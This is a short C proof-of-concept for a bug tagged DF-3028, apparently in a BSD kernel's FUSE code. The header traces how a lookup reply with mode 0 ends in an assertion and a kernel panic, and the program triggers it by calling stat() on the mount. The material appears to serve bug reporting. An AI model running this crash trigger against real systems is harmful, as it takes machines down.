/* DF-3028 — deterministic kernel panic via VBAD lookup reply.
 * stat()/open() any name on the fuse mount; the daemon's LOOKUP reply
 * has attr.mode == 0 -> vtyp = VBAD (fuse_vnops.c:568) ->
 * fuse_alloc_node accepts VBAD (fuse_node.c:103 rejects only
 * VBLK/VCHR/VFIFO) -> fuse_node_vn switch default KKASSERT(0)
 * (fuse_node.c:211) -> panic.  INVARIANTS is force-enabled for the
 * module by fuse.h:31-33, so this panics ANY kernel config.
 */
#include <sys/stat.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>

int
main(int argc, char **argv)
{
    struct stat st;
    const char *p = (argc > 1) ? argv[1] : "/mnt/fuse/target";

    printf("stat(%s) -> ...\n", p);
    fflush(stdout);
    if (stat(p, &st) == 0) {
        printf("stat returned 0 (no panic): ino=%llu size=%llu\n",
            (unsigned long long)st.st_ino,
            (unsigned long long)st.st_size);
        return 1;
    }
    printf("stat failed: %s (no panic)\n", strerror(errno));
    return 1;
}